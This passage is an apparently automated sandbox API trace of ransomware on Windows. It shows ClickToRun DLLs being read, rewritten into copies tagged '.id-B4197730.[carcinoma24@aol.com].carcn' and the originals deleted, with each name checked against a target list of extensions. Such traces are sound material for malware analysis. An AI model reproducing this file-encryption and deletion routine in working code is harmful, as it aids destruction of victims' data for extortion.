shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0291.945] lstrlenW (lpString=".jpg") returned 4 [0291.945] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0291.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0291.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0291.945] lstrlenW (lpString=".doc") returned 4 [0291.945] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0291.945] lstrlenW (lpString=".docx") returned 5 [0291.945] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0291.945] lstrlenW (lpString=".pdf") returned 4 [0291.945] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0291.945] lstrlenW (lpString=".xls") returned 4 [0291.945] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0291.945] lstrlenW (lpString=".xlsx") returned 5 [0291.945] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0291.945] lstrlenW (lpString=".ppt") returned 4 [0291.945] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0291.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0291.945] lstrlenW (lpString=".zip") returned 4 [0291.945] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0291.945] lstrlenW (lpString=".rar") returned 4 [0291.945] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0291.945] lstrlenW (lpString=".bz2") returned 4 [0291.945] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0291.945] lstrlenW (lpString=".7z") returned 3 [0291.945] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0291.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0291.945] lstrlenW (lpString=".dbf") returned 4 [0291.945] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0291.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0291.946] lstrlenW (lpString=".1cd") returned 4 [0291.946] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0291.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0291.946] lstrlenW (lpString=".jpg") returned 4 [0291.946] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0291.946] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0291.946] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33 [0291.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0291.946] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=11616) returned 1 [0291.946] CloseHandle (hObject=0x354) returned 1 [0291.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x20 [0291.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0291.947] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.947] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0291.948] GetLastError () returned 0x0 [0291.948] ReadFile (in: hFile=0x354, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x2d60, lpOverlapped=0x0) returned 1 [0291.961] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0291.962] ReadFile (in: hFile=0x354, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0291.962] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x116, lpOverlapped=0x0) returned 1 [0291.963] SetEndOfFile (hFile=0x360) returned 1 [0291.963] CloseHandle (hObject=0x360) returned 1 [0291.963] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.963] SetEndOfFile (hFile=0x354) returned 1 [0292.001] CloseHandle (hObject=0x354) returned 1 [0292.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0292.001] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 1 [0292.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0292.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0292.002] lstrlenW (lpString=".doc") returned 4 [0292.002] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.002] lstrlenW (lpString=".docx") returned 5 [0292.002] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.002] lstrlenW (lpString=".pdf") returned 4 [0292.002] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.002] lstrlenW (lpString=".xls") returned 4 [0292.002] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.003] lstrlenW (lpString=".xlsx") returned 5 [0292.003] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.003] lstrlenW (lpString=".ppt") returned 4 [0292.003] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0292.003] lstrlenW (lpString=".zip") returned 4 [0292.003] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.003] lstrlenW (lpString=".rar") returned 4 [0292.003] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.003] lstrlenW (lpString=".bz2") returned 4 [0292.003] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.003] lstrlenW (lpString=".7z") returned 3 [0292.003] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0292.003] lstrlenW (lpString=".dbf") returned 4 [0292.003] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0292.003] lstrlenW (lpString=".1cd") returned 4 [0292.003] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0292.003] lstrlenW (lpString=".jpg") returned 4 [0292.003] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0292.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0292.003] lstrlenW (lpString=".doc") returned 4 [0292.003] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.003] lstrlenW (lpString=".docx") returned 5 [0292.003] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.003] lstrlenW (lpString=".pdf") returned 4 [0292.003] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.003] lstrlenW (lpString=".xls") returned 4 [0292.003] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.003] lstrlenW (lpString=".xlsx") returned 5 [0292.003] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.003] lstrlenW (lpString=".ppt") returned 4 [0292.004] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0292.004] lstrlenW (lpString=".zip") returned 4 [0292.004] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.004] lstrlenW (lpString=".rar") returned 4 [0292.004] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.004] lstrlenW (lpString=".bz2") returned 4 [0292.004] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.004] lstrlenW (lpString=".7z") returned 3 [0292.004] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0292.004] lstrlenW (lpString=".dbf") returned 4 [0292.004] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0292.004] lstrlenW (lpString=".1cd") returned 4 [0292.004] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0292.004] lstrlenW (lpString=".jpg") returned 4 [0292.004] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.004] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0292.004] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31 [0292.004] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0292.005] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=19648) returned 1 [0292.005] CloseHandle (hObject=0x354) returned 1 [0292.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x20 [0292.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0292.005] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.005] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0292.006] GetLastError () returned 0x0 [0292.006] ReadFile (in: hFile=0x354, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0292.093] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0292.094] ReadFile (in: hFile=0x354, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0292.094] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x112, lpOverlapped=0x0) returned 1 [0292.094] SetEndOfFile (hFile=0x360) returned 1 [0292.094] CloseHandle (hObject=0x360) returned 1 [0292.094] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.095] SetEndOfFile (hFile=0x354) returned 1 [0292.096] CloseHandle (hObject=0x354) returned 1 [0292.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0292.222] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 1 [0292.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0292.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0292.223] lstrlenW (lpString=".doc") returned 4 [0292.223] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.223] lstrlenW (lpString=".docx") returned 5 [0292.223] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.223] lstrlenW (lpString=".pdf") returned 4 [0292.223] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.223] lstrlenW (lpString=".xls") returned 4 [0292.223] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.223] lstrlenW (lpString=".xlsx") returned 5 [0292.223] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.223] lstrlenW (lpString=".ppt") returned 4 [0292.223] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0292.223] lstrlenW (lpString=".zip") returned 4 [0292.223] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.223] lstrlenW (lpString=".rar") returned 4 [0292.223] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.223] lstrlenW (lpString=".bz2") returned 4 [0292.223] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.223] lstrlenW (lpString=".7z") returned 3 [0292.223] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0292.223] lstrlenW (lpString=".dbf") returned 4 [0292.223] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0292.223] lstrlenW (lpString=".1cd") returned 4 [0292.224] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0292.224] lstrlenW (lpString=".jpg") returned 4 [0292.224] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0292.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0292.224] lstrlenW (lpString=".doc") returned 4 [0292.224] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.224] lstrlenW (lpString=".docx") returned 5 [0292.224] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.224] lstrlenW (lpString=".pdf") returned 4 [0292.224] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.224] lstrlenW (lpString=".xls") returned 4 [0292.224] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.224] lstrlenW (lpString=".xlsx") returned 5 [0292.224] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.224] lstrlenW (lpString=".ppt") returned 4 [0292.224] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0292.224] lstrlenW (lpString=".zip") returned 4 [0292.224] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.224] lstrlenW (lpString=".rar") returned 4 [0292.224] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.224] lstrlenW (lpString=".bz2") returned 4 [0292.224] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.224] lstrlenW (lpString=".7z") returned 3 [0292.224] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0292.225] lstrlenW (lpString=".dbf") returned 4 [0292.225] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0292.225] lstrlenW (lpString=".1cd") returned 4 [0292.225] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0292.225] lstrlenW (lpString=".jpg") returned 4 [0292.225] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.225] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0292.225] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37 [0292.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0292.226] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=19136) returned 1 [0292.226] CloseHandle (hObject=0x358) returned 1 [0292.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x20 [0292.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0292.226] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.226] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0292.227] GetLastError () returned 0x0 [0292.227] ReadFile (in: hFile=0x358, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0292.237] WriteFile (in: hFile=0x35c, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0292.239] ReadFile (in: hFile=0x358, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0292.239] WriteFile (in: hFile=0x35c, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x11e, lpOverlapped=0x0) returned 1 [0292.239] SetEndOfFile (hFile=0x35c) returned 1 [0292.239] CloseHandle (hObject=0x35c) returned 1 [0292.239] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.239] SetEndOfFile (hFile=0x358) returned 1 [0292.240] CloseHandle (hObject=0x358) returned 1 [0292.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0292.241] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 1 [0292.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0292.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0292.241] lstrlenW (lpString=".doc") returned 4 [0292.241] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.241] lstrlenW (lpString=".docx") returned 5 [0292.241] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.241] lstrlenW (lpString=".pdf") returned 4 [0292.241] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.241] lstrlenW (lpString=".xls") returned 4 [0292.241] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.241] lstrlenW (lpString=".xlsx") returned 5 [0292.241] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.242] lstrlenW (lpString=".ppt") returned 4 [0292.242] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0292.242] lstrlenW (lpString=".zip") returned 4 [0292.242] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.242] lstrlenW (lpString=".rar") returned 4 [0292.242] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.242] lstrlenW (lpString=".bz2") returned 4 [0292.242] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.242] lstrlenW (lpString=".7z") returned 3 [0292.242] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 